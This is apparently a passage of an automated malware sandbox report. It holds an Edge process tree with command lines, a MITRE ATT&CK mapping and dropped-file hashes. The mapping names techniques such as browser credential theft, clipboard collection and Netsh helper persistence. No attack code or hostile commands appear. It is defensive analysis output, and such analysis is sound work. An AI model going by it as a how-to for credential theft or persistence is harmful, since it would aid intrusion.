                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:5248
                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4164 /prefetch:1
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:4208
                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4992 /prefetch:1
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:3564
                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:1
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:5840
                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:5156
                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5856 /prefetch:8
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:552
                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5856 /prefetch:8
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1384
                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=220 /prefetch:1
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:3268
                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:1
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:5824
                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6128 /prefetch:1
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1992
                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:6060
                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4164 /prefetch:1
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:1320
                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6160 /prefetch:1
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1224
                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6448 /prefetch:1
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:6048
                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5656 /prefetch:8
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                  PID:5636
                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6556 /prefetch:1
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:5852
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4732 /prefetch:1
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:584
                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4316 /prefetch:1
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:6108
                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6388 /prefetch:1
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:5672
                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5992 /prefetch:1
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:3328
                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                            PID:3568
                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6352 /prefetch:8
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:5784
                                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4316 /prefetch:1
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:404
                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3068 /prefetch:8
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:808
                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6960 /prefetch:1
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:5508
                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:1
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:816
                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7088 /prefetch:1
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:6124
                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7160 /prefetch:1
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:5172
                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=7064 /prefetch:2
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:5420
                                                                                                                                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:4916
                                                                                                                                                                                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:1652

                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                            Reconnaissance

                                                                                                                                                                                                                                                            Resource Development

                                                                                                                                                                                                                                                            Initial Access

                                                                                                                                                                                                                                                            Execution

                                                                                                                                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1059

                                                                                                                                                                                                                                                            PowerShell

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1059.001

                                                                                                                                                                                                                                                            Persistence

                                                                                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1546

                                                                                                                                                                                                                                                            Netsh Helper DLL

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1546.007

                                                                                                                                                                                                                                                            Privilege Escalation

                                                                                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1546

                                                                                                                                                                                                                                                            Netsh Helper DLL

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1546.007

                                                                                                                                                                                                                                                            Defense Evasion

                                                                                                                                                                                                                                                            Hide Artifacts

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1564

                                                                                                                                                                                                                                                            Hidden Files and Directories

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1564.001

                                                                                                                                                                                                                                                            Obfuscated Files or Information

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1027

                                                                                                                                                                                                                                                            Command Obfuscation

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1027.010

                                                                                                                                                                                                                                                            Credential Access

                                                                                                                                                                                                                                                            Credentials from Password Stores

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1555

                                                                                                                                                                                                                                                            Credentials from Web Browsers

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1555.003

                                                                                                                                                                                                                                                            Unsecured Credentials

                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                            T1552

                                                                                                                                                                                                                                                            Credentials In Files

                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                            T1552.001

                                                                                                                                                                                                                                                            Discovery

                                                                                                                                                                                                                                                            Browser Information Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1217

                                                                                                                                                                                                                                                            Peripheral Device Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1120

                                                                                                                                                                                                                                                            Process Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1057

                                                                                                                                                                                                                                                            Query Registry

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1012

                                                                                                                                                                                                                                                            Remote System Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1018

                                                                                                                                                                                                                                                            System Information Discovery

                                                                                                                                                                                                                                                            5
                                                                                                                                                                                                                                                            T1082

                                                                                                                                                                                                                                                            System Network Configuration Discovery

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1016

                                                                                                                                                                                                                                                            Internet Connection Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1016.001

                                                                                                                                                                                                                                                            Wi-Fi Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1016.002

                                                                                                                                                                                                                                                            Lateral Movement

                                                                                                                                                                                                                                                            Collection

                                                                                                                                                                                                                                                            Clipboard Data

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1115

                                                                                                                                                                                                                                                            Data from Local System

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1005

                                                                                                                                                                                                                                                            Command and Control

                                                                                                                                                                                                                                                            Web Service

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1102

                                                                                                                                                                                                                                                            Exfiltration

                                                                                                                                                                                                                                                            Impact

                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              1KB

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              745fc2512b3757fe9f891792c70a7966

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              a114eb9a00e15a35b9634d44b8f8c48d82a23603

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              b83ef11dc51653333b0b561985f6da8764bfd2c3d34d71f5d65dc02efa05772f

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              37f6c58026b7881dc9342892da766aa49ed63fd655b3069bb4acb682a46a02285b0c67159ba76d1fb9411c3283322772636564860adc4ce7af5263c251137231

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              2B

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              d751713988987e9331980363e24189ce

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              97d170e1550eee4afc0af065b78cda302a97674c

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              356B

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              b46a215031e97a8917949387daf6dda0

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              d802558db44006ca29e3465116909c7001ac9e14

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              4d988f0db4874a84a25735fc7e051dabf54c3eefbfee0b262a4063f20aa1ac76

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              51f5b72bcbb728858ed81e325d7fecd863a558e13539cd926bbd1abe1b010b393918ed80eaefda5d452281cb5c37ffca3b9cc8b3713b907a26ca09b89d78cc2f

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              85d36d9c4e70a671dfa13d92e1f416c2

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              786be79542c302109439d976e1491e99f047793a

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              b3bac06396e85151ae891302ec53acdccd86ce98251207e841e523e5c128bc5f

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              d2f96475e7e8bc37c8a21e72ec35ca1d46578fc46ee20ce5a15c52952dc0163a7747f3ea26962d5b87e29d43a664d387cbf0e9222874ce740b521ca8f23e62bc

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              116KB

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              2c76e93817b8b484ed755d4f721dc783

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              83052628350e27d22eb24d84a0bfa9d966b529ef

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              efc3611a95600510d687c0091bfd440be1225a62b3cebf5aa6d84b4841eff94b

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              97e397bd77f3c62dba3399612f54dba3d95da44d56963acad28c3ffe4454a3af0b59836ad934ccc09f39f982187e6a83759786764e0ccc67f3cf2495abf910e9

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              264KB

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              f50f89a0a91564d0b8a211f8921aa7de

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              112403a17dd69d5b9018b8cede023cb3b54eab7d

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              2KB

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              152B

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              e55832d7cd7e868a2c087c4c73678018

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              ed7a2f6d6437e907218ffba9128802eaf414a0eb

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              a4d7777b980ec53de3a70aca8fb25b77e9b53187e7d2f0fa1a729ee9a35da574

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              897fdebf1a9269a1bf1e3a791f6ee9ab7c24c9d75eeff65ac9599764e1c8585784e1837ba5321d90af0b004af121b2206081a6fb1b1ad571a0051ee33d3f5c5f

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              152B

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              c2d9eeb3fdd75834f0ac3f9767de8d6f

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              4d16a7e82190f8490a00008bd53d85fb92e379b0

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              1e5efb5f1d78a4cc269cb116307e9d767fc5ad8a18e6cf95c81c61d7b1da5c66

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              d92f995f9e096ecc0a7b8b4aca336aeef0e7b919fe7fe008169f0b87da84d018971ba5728141557d42a0fc562a25191bd85e0d7354c401b09e8b62cdc44b6dcd

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              152B

                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                              fec6f16f171f3ba55568802a7592f7fc

                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                              d679be0b4270bfd7d811bc8d028052a267160eab

                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                              770fad00532e966f5f2e2a77afb0a177187a92b72c5b55890b3907300f91a652

                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                              c7e88c90b615c353bef4f425d84c8e128d53d12f9a07cc1261b38bcbc3187f47ae63e38a614f2287f22b3ab08dcfa48b317c6f53d8cf391f3502df3966a2381e

                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                              Filesize

